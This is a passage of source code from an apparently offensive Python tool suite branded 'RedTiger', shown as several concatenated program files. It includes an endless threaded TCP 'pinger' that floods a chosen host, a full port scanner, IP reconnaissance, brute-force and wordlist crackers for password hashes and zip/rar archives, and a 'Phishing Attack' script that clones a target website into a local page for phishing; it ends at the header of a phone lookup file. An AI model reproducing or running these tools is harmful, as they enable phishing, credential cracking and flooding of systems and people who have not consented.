68 | {INFO_ADD} Latitude : {white}{latitude}{red}
69 | {INFO_ADD} Longitude : {white}{longitude}{red}
70 | {INFO_ADD} Timezone : {white}{timezone}{red}
71 | {INFO_ADD} Isp : {white}{isp}{red}
72 | {INFO_ADD} Org : {white}{org}{red}
73 | {INFO_ADD} As : {white}{as_host}{red}{reset}
74 | """)
75 |
76 | Continue()
77 | Reset()
78 | except Exception as e:
79 | Error(e)
--------------------------------------------------------------------------------
/Program/Ip-Pinger.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import concurrent.futures
15 | import time
16 | import socket
17 | except Exception as e:
18 | ErrorModule(e)
19 |
20 | Title("Ip Pinger")
21 |
22 | try:
23 | def PingIp(hostname, port, bytes):
24 | try:
25 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
26 | sock.settimeout(2)
27 | start_time = time.time()
28 | sock.connect((hostname, port))
29 | data = b'\x00' * bytes
30 | sock.sendall(data)
31 | end_time = time.time()
32 | elapsed_time = (end_time - start_time) * 1000
33 | print(f'{BEFORE + current_time_hour() + AFTER} {ADD} Hostname: {white}{hostname}{red} time: {white}{elapsed_time:.2f}ms{red} port: {white}{port}{red} bytes: {white}{bytes}{red} status: {white}succeed{red}')
34 | except:
35 | elapsed_time = 0
36 | print(f'{BEFORE + current_time_hour() + AFTER} {ERROR} Hostname: {white}{hostname}{red} time: {white}{elapsed_time}ms{red} port: {white}{port}{red} bytes: {white}{bytes}{red} status: {white}fail{red}')
37 |
38 | Slow(wifi_banner)
39 |
40 | hostname = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Ip -> " + color.RESET)
41 |
42 | try:
43 | port_input = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Port (enter for default) -> " + color.RESET)
44 | port = int(port_input) if port_input else 80
45 |
46 | bytes_input = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Bytes (enter for default) -> " + color.RESET)
47 | bytes = int(bytes_input) if bytes_input else 64
48 | except:
49 | ErrorNumber()
50 |
51 | with concurrent.futures.ThreadPoolExecutor() as executor:
52 | while True:
53 | time.sleep(0.1)
54 | executor.submit(PingIp, hostname, port, bytes)
55 |
56 | except Exception as e:
57 | Error(e)
58 |
--------------------------------------------------------------------------------
/Program/Ip-Port-Scanner.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import socket
15 | import concurrent.futures
16 | except Exception as e:
17 | ErrorModule(e)
18 |
19 | Title("Ip Port Scanner")
20 |
21 | try:
22 | def PortScanner(ip):
23 | port_protocol_map = {
24 | 21: "FTP", 22: "SSH", 23: "Telnet", 25: "SMTP", 53: "DNS", 69: "TFTP",
25 | 80: "HTTP", 110: "POP3", 123: "NTP", 143: "IMAP", 194: "IRC", 389: "LDAP",
26 | 443: "HTTPS", 161: "SNMP", 3306: "MySQL", 5432: "PostgreSQL", 6379: "Redis",
27 | 1521: "Oracle DB", 3389: "RDP"
28 | }
29 |
30 | def ScanPort(ip, port):
31 | try:
32 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
33 | sock.settimeout(0.1)
34 | result = sock.connect_ex((ip, port))
35 | if result == 0:
36 | protocol = IdentifyProtocol(ip, port)
37 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Port: {white}{port}{red} Status: {white}Open{red} Protocol: {white}{protocol}{red}")
38 | except Exception:
39 | pass
40 |
41 | def IdentifyProtocol(ip, port):
42 | if port in port_protocol_map:
43 | return port_protocol_map[port]
44 | try:
45 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
46 | sock.settimeout(0.5)
47 | sock.connect((ip, port))
48 | sock.send(b"GET / HTTP/1.1\r\nHost: {}\r\n\r\n".format(ip).encode('utf-8'))
49 | response = sock.recv(100).decode('utf-8')
50 | if "HTTP" in response:
51 | return "HTTP"
52 | sock.send(b"\r\n")
53 | response = sock.recv(100).decode('utf-8')
54 | if "FTP" in response:
55 | return "FTP"
56 | sock.send(b"\r\n")
57 | response = sock.recv(100).decode('utf-8')
58 | if "SSH" in response:
59 | return "SSH"
60 | return "Unknown"
61 | except Exception:
62 | return "Unknown"
63 |
64 | with concurrent.futures.ThreadPoolExecutor() as executor:
65 | executor.map(lambda port: ScanPort(ip, port), range(1, 65536))
66 |
67 | Slow(scan_banner)
68 | ip = input(f"\n{BEFORE + current_time_hour() + AFTER} {INPUT} Ip -> {reset}")
69 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Scanning..")
70 | PortScanner(ip)
71 | Continue()
72 | Reset()
73 | except Exception as e:
74 | Error(e)
75 |
--------------------------------------------------------------------------------
/Program/Ip-Scanner.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import socket
15 | import ssl
16 | import subprocess
17 | import sys
18 | import requests
19 | from requests.exceptions import RequestException
20 | import concurrent.futures
21 | except Exception as e:
22 | ErrorModule(e)
23 |
24 | Title("Ip Scanner")
25 |
26 | try:
27 | def IpType(ip):
28 | ip_type = "Unknown"
29 | if ':' in ip:
30 | ip_type = "ipv6"
31 | elif '.' in ip:
32 | ip_type = "ipv4"
33 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} IP Type: {white}{ip_type}{red}")
34 |
35 | def IpPing(ip):
36 | try:
37 | ping_cmd = ['ping', '-n', '1', ip] if sys.platform.startswith("win") else ['ping', '-c', '1', '-W', '1', ip]
38 | result = subprocess.run(ping_cmd, capture_output=True, text=True, timeout=1)
39 | ping = "Succeed" if result.returncode == 0 else "Fail"
40 | except Exception:
41 | ping = "Fail"
42 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Ping: {white}{ping}{red}")
43 |
44 | def IpPort(ip):
45 | port_protocol_map = {
46 | 21: "FTP", 22: "SSH", 23: "Telnet", 25: "SMTP", 53: "DNS", 69: "TFTP",
47 | 80: "HTTP", 110: "POP3", 123: "NTP", 143: "IMAP", 194: "IRC", 389: "LDAP",
48 | 443: "HTTPS", 161: "SNMP", 3306: "MySQL", 5432: "PostgreSQL", 6379: "Redis",
49 | 1521: "Oracle DB", 3389: "RDP"
50 | }
51 |
52 | def scan_port(ip, port):
53 | try:
54 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
55 | sock.settimeout(1)
56 | result = sock.connect_ex((ip, port))
57 | if result == 0:
58 | protocol = port_protocol_map.get(port, "Unknown")
59 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Port: {white}{port}{red} Status: {white}Open{red} Protocol: {white}{protocol}{red}")
60 | except Exception:
61 | pass
62 |
63 | with concurrent.futures.ThreadPoolExecutor() as executor:
64 | executor.map(lambda port: scan_port(ip, port), port_protocol_map.keys())
65 |
66 | def IpDns(ip):
67 | try:
68 | dns, aliaslist, ipaddrlist = socket.gethostbyaddr(ip)
69 | except Exception:
70 | dns = "None"
71 | if dns != "None":
72 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} DNS: {white}{dns}{red}")
73 |
74 | def IpHostInfo(ip):
75 | api_url = f"https://ipinfo.io/{ip}/json"
76 | try:
77 | response = requests.get(api_url)
78 | api = response.json()
79 | except RequestException:
80 | api = {}
81 |
82 | host_country = api.get('country', 'None')
83 | if host_country != "None":
84 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Host Country: {white}{host_country}{red}")
85 |
86 | host_name = api.get('hostname', 'None')
87 | if host_name != "None":
88 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Host Name: {white}{host_name}{red}")
89 |
90 | host_isp = api.get('org', 'None')
91 | if host_isp != "None":
92 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Host ISP: {white}{host_isp}{red}")
93 |
94 | host_as = api.get('asn', 'None')
95 | if host_as != "None":
96 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Host AS: {white}{host_as}{red}")
97 |
98 | def SslCertificateCheck(ip):
99 | port = 443
100 | try:
101 | with socket.create_connection((ip, port), timeout=1) as sock:
102 | context = ssl.create_default_context()
103 | with context.wrap_socket(sock, server_hostname=ip) as ssock:
104 | cert = ssock.getpeercert()
105 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} SSL Certificate: {white}{cert}{red}")
106 | except Exception as e:
107 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} SSL Certificate Check Failed: {white}{e}{red}")
108 |
109 |
110 | Slow(scan_banner)
111 | ip = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Ip -> {reset}")
112 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Information Recovery..{reset}")
113 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Ip: {white}{ip}{red}")
114 | IpType(ip)
115 | IpPing(ip)
116 | IpDns(ip)
117 | IpPort(ip)
118 | IpHostInfo(ip)
119 | SslCertificateCheck(ip)
120 | Continue()
121 | Reset()
122 |
123 | except Exception as e:
124 | Error(e)
125 |
--------------------------------------------------------------------------------
/Program/Password-Hash-Decrypted-Attack.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import bcrypt
15 | import hashlib
16 | import random
17 | import string
18 | from concurrent.futures import ThreadPoolExecutor
19 | import time
20 | import base64
21 | from hashlib import pbkdf2_hmac
22 | except Exception as e:
23 | ErrorModule(e)
24 |
25 | Title(f"Password Decrypted")
26 |
27 | try:
28 | def ErrorDecrypted():
29 | encryption_map = {
30 | '1': 'BCRYPT', '2': 'MD5', '3': 'SHA-1', '4': 'SHA-256', '5': 'PBKDF2 (SHA-256)', '6': 'Base64 Decode'
31 | }
32 | encryption = encryption_map.get(choice, "Unknown")
33 | print(f'{BEFORE + current_time_hour() + AFTER} {ERROR} The encryption "{white + encrypted_password + red}" is not accepted by "{white + encryption + red}".')
34 | Continue()
35 | Reset()
36 |
37 | def CheckPassword(password_test):
38 | global salt
39 | try:
40 | methods = {
41 | '1': lambda pwd: bcrypt.checkpw(pwd.encode('utf-8'), encrypted_password.encode('utf-8')),
42 | '2': lambda pwd: hashlib.md5(pwd.encode('utf-8')).hexdigest() == encrypted_password,
43 | '3': lambda pwd: hashlib.sha1(pwd.encode('utf-8')).hexdigest() == encrypted_password,
44 | '4': lambda pwd: hashlib.sha256(pwd.encode('utf-8')).hexdigest() == encrypted_password,
45 | '5': lambda pwd: pbkdf2_hmac('sha256', pwd.encode('utf-8'), salt, 100000).hex() == encrypted_password,
46 | '6': lambda pwd: base64.b64decode(encrypted_password.encode('utf-8')).decode('utf-8') == pwd
47 | }
48 | return methods.get(choice, lambda _: False)(password_test)
49 | except:
50 | ErrorDecrypted()
51 |
52 | def RandomCharacter():
53 | global password, salt
54 | try:
55 | threads_number = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Threads Number -> {white}"))
56 | characters_number_min = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Password Characters Number Min -> {white}"))
57 | characters_number_max = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Password Characters Number Max -> {white}"))
58 | except:
59 | ErrorNumber()
60 |
61 | password = False
62 | generated_passwords = set()
63 | salt = "this_is_a_salt".encode('utf-8')
64 | all_characters = string.ascii_letters + string.digits + string.punctuation
65 |
66 | def GeneratePassword():
67 | return ''.join(random.choices(all_characters, k=random.randint(characters_number_min, characters_number_max)))
68 |
69 | def TestDecrypted():
70 | global password
71 | while not password:
72 | password_test = GeneratePassword()
73 | if password_test not in generated_passwords:
74 | generated_passwords.add(password_test)
75 | if CheckPassword(password_test):
76 | password = True
77 | time.sleep(0.5)
78 | print(f'{BEFORE + current_time_hour() + AFTER} {ADD} Password: {white + password_test + reset}')
79 | time.sleep(1)
80 | Continue()
81 | Reset()
82 |
83 | def Request():
84 | try:
85 | with ThreadPoolExecutor(max_workers=threads_number) as executor:
86 | executor.map(lambda _: TestDecrypted(), range(threads_number))
87 | except Exception:
88 | ErrorNumber()
89 |
90 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Brute force password cracking in progress.. (It can be long){reset}")
91 | while not password:
92 | Request()
93 |
94 | def WorldList():
95 | path_folder_worldlist = os.path.join(tool_path, "2-Input", "WorldList")
96 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Add more list in folder: {white + path_folder_worldlist}")
97 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Password cracking by world list in progress.. (It can be long){reset}")
98 |
99 | for file in os.listdir(path_folder_worldlist):
100 | try:
101 | file_path = os.path.join(path_folder_worldlist, file)
102 | with open(file_path, 'r', encoding='utf-8') as f:
103 | for line in f:
104 | if CheckPassword(line.strip()):
105 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Password: {white + line.strip() + reset}")
106 | Continue()
107 | Reset()
108 | return
109 | except:
110 | pass
111 |
112 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} The entire world list has been checked and no passwords match.")
113 | Continue()
114 | Reset()
115 |
116 | Slow(f"""{decrypted_banner}
117 | {BEFORE}01{AFTER + white} BCRYPT
118 | {BEFORE}02{AFTER + white} MD5
119 | {BEFORE}03{AFTER + white} SHA-1
120 | {BEFORE}04{AFTER + white} SHA-256
121 | {BEFORE}05{AFTER + white} PBKDF2 (SHA-256)
122 | {BEFORE}06{AFTER + white} Base64 Decode
123 | """)
124 |
125 | choice = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Method -> {reset}")
126 |
127 | if choice not in ['1', '01', '2', '02', '3', '03', '4', '04', '5', '05', '6', '06']:
128 | ErrorChoice()
129 |
130 | encrypted_password = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Encrypted Password -> {white}")
131 | Title(f"Password Decrypted - Encrypted Password: {encrypted_password}")
132 |
133 | print(f"""
134 | {BEFORE}01{AFTER + white} Random Character
135 | {BEFORE}02{AFTER + white} World List
136 | """)
137 |
138 | method = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Brute Force Method -> {white}")
139 |
140 | if method in ["01", "1"]:
141 | RandomCharacter()
142 | elif method in ["02", "2"]:
143 | WorldList()
144 | else:
145 | ErrorChoice()
146 |
147 | except Exception as e:
148 | Error(e)
149 |
--------------------------------------------------------------------------------
/Program/Password-Hash-Encrypted.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 |
14 | try:
15 | import bcrypt
16 | import hashlib
17 | import base64
18 | from hashlib import pbkdf2_hmac
19 | except Exception as e:
20 | ErrorModule(e)
21 |
22 | Title(f"Password Encrypted")
23 | try:
24 | Slow(f"""{encrypted_banner}
25 | {BEFORE}01{AFTER}{white} BCRYPT
26 | {BEFORE}02{AFTER}{white} MD5
27 | {BEFORE}03{AFTER}{white} SHA-1
28 | {BEFORE}04{AFTER}{white} SHA-256
29 | {BEFORE}05{AFTER}{white} PBKDF2 (SHA-256)
30 | {BEFORE}06{AFTER}{white} Base64 Decode
31 | """)
32 |
33 | choice = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Encryption Method -> {reset}")
34 |
35 | if choice not in ['1', '01', '2', '02', '3', '03', '4', '04', '5', '05', '6', '06']:
36 | ErrorChoice()
37 |
38 | password = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Password to Encrypt -> {white}")
39 |
40 | def EncryptPassword(choice, password):
41 | encrypt_methods = {
42 | '1': lambda p: bcrypt.hashpw(p.encode('utf-8'), bcrypt.gensalt()).decode('utf-8'),
43 | '2': lambda p: hashlib.md5(p.encode('utf-8')).hexdigest(),
44 | '3': lambda p: hashlib.sha1(p.encode('utf-8')).hexdigest(),
45 | '4': lambda p: hashlib.sha256(p.encode('utf-8')).hexdigest(),
46 | '5': lambda p: pbkdf2_hmac('sha256', p.encode('utf-8'), "this_is_a_salt".encode('utf-8'), 100000).hex(),
47 | '6': lambda p: base64.b64encode(p.encode('utf-8')).decode('utf-8')
48 | }
49 |
50 | try:
51 | return encrypt_methods.get(choice, lambda p: None)(password)
52 | except Exception as e:
53 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Error during encryption: {e}")
54 | return None
55 |
56 | encrypted_password = EncryptPassword(choice, password)
57 | if encrypted_password:
58 | print(f"{BEFORE + current_time_hour() + AFTER} {ADD} Encrypted Password: {white}{encrypted_password}{reset}")
59 | Continue()
60 | Reset()
61 |
62 | except Exception as e:
63 | Error(e)
64 |
--------------------------------------------------------------------------------
/Program/Password-Zip-Cracked-Attack.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import rarfile
15 | import pyzipper
16 | import string
17 | import tkinter
18 | from tkinter import filedialog
19 | from concurrent.futures import ThreadPoolExecutor
20 | except Exception as e:
21 | ErrorModule(e)
22 |
23 | Title(f"Password Zip Cracked Attack")
24 |
25 | try:
26 | def ChooseZipRarFile():
27 | try:
28 | print(f"\n{BEFORE + current_time_hour() + AFTER} {INPUT} Enter the path to the .zip or .rar file -> {reset}")
29 | if sys.platform.startswith("win"):
30 | root = tkinter.Tk()
31 | root.iconbitmap(os.path.join(tool_path, "Img", "RedTiger_icon.ico"))
32 | root.withdraw()
33 | root.attributes('-topmost', True)
34 | file = filedialog.askopenfilename(parent=root, title=f"{name_tool} {version_tool} - Choose an icon (.zip / .rar)", filetypes=[("ZIP/RAR files", "*.zip;*.rar"), ("ZIP files", "*.zip"), ("RAR files", "*.rar")])
35 | elif sys.platform.startswith("linux"):
36 | file = filedialog.askopenfilename(title=f"{name_tool} {version_tool} - Choose an icon (.ico)", filetypes=[("ICO files", "*.ico")])
37 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} File path: {white + file}")
38 | return file
39 | except:
40 | return input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Enter the path to the .zip or .rar file -> {reset}")
41 |
42 | def CountEncryptedFiles(file):
43 | count = 0
44 | try:
45 | if file.lower().endswith('.zip'):
46 | with pyzipper.AESZipFile(file) as archive:
47 | for filename in archive.namelist():
48 | try:
49 | archive.extract(filename, pwd=b'wrongpassword')
50 | except RuntimeError:
51 | count += 1
52 | elif file.lower().endswith('.rar'):
53 | with rarfile.RarFile(file) as archive:
54 | for filename in archive.namelist():
55 | try:
56 | archive.extract(filename, pwd='wrongpassword')
57 | except rarfile.BadPassword:
58 | count += 1
59 | return count
60 | except:
61 | return count
62 |
63 | def CheckPassword(file, password_test):
64 | global password_found
65 | try:
66 | if file.lower().endswith('.zip'):
67 | with pyzipper.AESZipFile(file) as archive:
68 | for filename in archive.namelist():
69 | try:
70 | archive.extract(filename, pwd=password_test.encode())
71 | password_found += 1
72 | print(f'{BEFORE + current_time_hour() + AFTER} {ADD} File: {white + filename} {red}Password: {white + password_test + reset}')
73 | except:
74 | pass
75 | elif file.lower().endswith('.rar'):
76 | with rarfile.RarFile(file) as archive:
77 | for filename in archive.namelist():
78 | try:
79 | archive.extract(filename, pwd=password_test.encode())
80 | password_found += 1
81 | print(f'{BEFORE + current_time_hour() + AFTER} {ADD} File: {white + filename} {red}Password: {white + password_test + reset}')
82 | except:
83 | pass
84 | return password_found > 0
85 | except:
86 | return False
87 |
88 | def RandomCharacter(count):
89 | global generated_passwords, password_found
90 | try:
91 | threads_number = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Threads Number -> {reset}"))
92 | characters_number_min = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Password Characters Number Min -> {reset}"))
93 | characters_number_max = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Password Characters Number Max -> {reset}"))
94 | except:
95 | ErrorNumber()
96 |
97 | generated_passwords = set()
98 | password_found = 0
99 | all_characters = string.ascii_letters + string.digits + string.punctuation
100 |
101 | def GeneratePassword():
102 | return ''.join(random.choice(all_characters) for _ in range(random.randint(characters_number_min, characters_number_max)))
103 |
104 | def TestCracked():
105 | global generated_passwords, password_found
106 | while password_found < count:
107 | password_test = GeneratePassword()
108 | if password_test not in generated_passwords:
109 | generated_passwords.add(password_test)
110 | if CheckPassword(file, password_test):
111 | if password_found == count:
112 | Continue()
113 | Reset()
114 |
115 | def Request():
116 | with ThreadPoolExecutor(max_workers=threads_number) as executor:
117 | executor.map(lambda _: TestCracked(), range(threads_number))
118 |
119 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Brute force password cracking in progress.. (It can be long){reset}")
120 | while password_found < count:
121 | Request()
122 |
123 | def WorldList():
124 | global password_found
125 | path_folder_worldlist = os.path.join(tool_path, "2-Input", "WorldList")
126 | files = [f for f in os.listdir(path_folder_worldlist) if os.path.isfile(os.path.join(path_folder_worldlist, f))]
127 | password_found = 0
128 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Add more list in folder: {white + path_folder_worldlist}")
129 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Password cracking by world list in progress.. (It can be long){reset}")
130 |
131 | for file_list in files:
132 | try:
133 | with open(os.path.join(path_folder_worldlist, file_list), 'r', encoding='utf-8') as f:
134 | for line in f:
135 | if CheckPassword(file, line.strip()):
136 | if password_found == count:
137 | Continue()
138 | Reset()
139 | except:
140 | pass
141 |
142 | if not password_found:
143 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} The entire world list has been checked and no passwords match.")
144 | Continue()
145 | Reset()
146 |
147 | Slow(decrypted_banner)
148 | file = ChooseZipRarFile()
149 |
150 | count = CountEncryptedFiles(file)
151 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Number of files protected by password: {white + str(count)}")
152 | if count == 0:
153 | Continue()
154 | Reset()
155 |
156 | Title(f"Password Zip Cracked Attack - File: {file}")
157 |
158 | print(f"""
159 | {BEFORE}01{AFTER + white} Random Character
160 | {BEFORE}02{AFTER + white} World List
161 | """)
162 |
163 | method = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Method -> {white}")
164 |
165 | if method in ["01", "1"]:
166 | RandomCharacter(count)
167 | elif method in ["02", "2"]:
168 | WorldList()
169 | else:
170 | ErrorChoice()
171 |
172 | except Exception as e:
173 | Error(e)
174 |
175 |
--------------------------------------------------------------------------------
/Program/Phishing-Attack.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 |
14 | try:
15 | import requests
16 | from bs4 import BeautifulSoup
17 | from urllib.parse import urljoin
18 | import re
19 | import os
20 | import concurrent.futures
21 | except Exception as e:
22 | ErrorModule(e)
23 |
24 | Title("Phishing Attack")
25 |
26 | try:
27 | user_agent = ChoiceUserAgent()
28 | headers = {"User-Agent": user_agent}
29 |
30 | Slow(phishing_banner)
31 | print(f"\n{BEFORE + current_time_hour() + AFTER} {INFO} Selected User-Agent: {white + user_agent}")
32 | website_url = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Website Url -> {reset}")
33 | Censored(website_url)
34 | if "https://" not in website_url and "http://" not in website_url:
35 | website_url = "https://" + website_url
36 |
37 | def CssAndJs(html_content, base_url):
38 | soup = BeautifulSoup(html_content, 'html.parser')
39 |
40 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Css recovery..")
41 | css_links = soup.find_all('link', rel='stylesheet')
42 | all_css = []
43 | css_urls = [urljoin(base_url, link['href']) for link in css_links]
44 |
45 | with concurrent.futures.ThreadPoolExecutor() as executor:
46 | css_responses = executor.map(requests.get, css_urls)
47 | for css_response in css_responses:
48 | if css_response.status_code == 200:
49 | all_css.append(css_response.text)
50 | else:
51 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Error retrieving css.")
52 |
53 | if all_css:
54 | style_tag = soup.new_tag('style')
55 | style_tag.string = "\n".join(all_css)
56 | soup.head.append(style_tag)
57 | for link in css_links:
58 | link.decompose()
59 |
60 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Javascript recovery..")
61 | script_links = soup.find_all('script', src=True)
62 | all_js = []
63 | js_urls = [urljoin(base_url, script['src']) for script in script_links]
64 |
65 | with concurrent.futures.ThreadPoolExecutor() as executor:
66 | js_responses = executor.map(requests.get, js_urls)
67 | for js_response in js_responses:
68 | if js_response.status_code == 200:
69 | all_js.append(js_response.text)
70 | else:
71 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Error retrieving javascript.")
72 |
73 | if all_js:
74 | script_tag = soup.new_tag('script')
75 | script_tag.string = "\n".join(all_js)
76 | soup.body.append(script_tag)
77 | for script in script_links:
78 | script.decompose()
79 |
80 | return soup.prettify()
81 |
82 | print(f"{BEFORE + current_time_hour() + AFTER} {WAIT} Html recovery..")
83 | session = requests.Session()
84 | response = session.get(website_url, headers=headers, timeout=5)
85 | if response.status_code == 200:
86 | html_content = response.text
87 | soup = BeautifulSoup(html_content, 'html.parser')
88 | file_name = re.sub(r'[\\/:*?"<>|]', '-', soup.title.string if soup.title else 'Phishing')
89 |
90 | file_html_relative = f'\\1-Output\\PhishingAttack\\{file_name}.html'
91 | file_html = os.path.join(tool_path, "1-Output", "PhishingAttack", f"{file_name}.html")
92 |
93 | final_html = CssAndJs(html_content, website_url)
94 |
95 | with open(file_html, 'w', encoding='utf-8') as file:
96 | file.write(final_html)
97 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Phishing attack successful. The file is located in the folder \"{white}{file_html_relative}{red}\"")
98 | Continue()
99 | Reset()
100 | else:
101 | ErrorUrl()
102 | except Exception as e:
103 | Error(e)
104 |
--------------------------------------------------------------------------------
/Program/Phone-Number-Lookup.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
